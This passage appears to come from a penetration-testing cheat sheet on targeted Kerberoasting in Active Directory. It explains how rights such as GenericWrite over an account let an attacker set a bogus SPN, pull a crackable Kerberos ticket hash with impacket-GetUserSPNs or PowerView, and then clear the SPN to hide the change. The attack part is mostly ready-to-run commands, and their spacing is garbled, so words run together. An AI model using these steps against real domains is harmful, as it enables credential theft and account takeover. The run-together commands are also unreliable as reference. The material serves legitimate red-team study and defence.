This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, WriteProperty or Validated-SPN over the target. A member of the Account Operator group usually has those permissions.
The attacker can add an SPN (ServicePrincipalName) to that account. Once the account has an SPN, it becomes vulnerable to Kerberoasting.
impacket-GetUserSPNs-request-dc-ip<DC_IP><DOMAIN.FULL>/<USERNAME>-outputfilehashes.kerberoast# Password will be promptedimpacket-GetUserSPNs-request-dc-ip<DC_IP>-hashes<LMHASH>:<NTHASH><DOMAIN>/<USERNAME>-outputfilehashes.kerberoast
# Make sur that the target account has no SPNGet-DomainUser'victimuser'| Select serviceprincipalname# Set the SPNSet-DomainObject-Identity 'victimuser'-Set @{serviceprincipalname='nonexistent/BLAHBLAH'}# Obtain a kerberoast hash$User =Get-DomainUser'victimuser'$User |Get-DomainSPNTicket| fl# Clear the SPNs of the target account$User | Select serviceprincipalnameSet-DomainObject-Identity victimuser -Clear serviceprincipalname
Once the Kerberoast hash is obtained, it can possibly be cracked to recover the account's password if the password used is weak enough.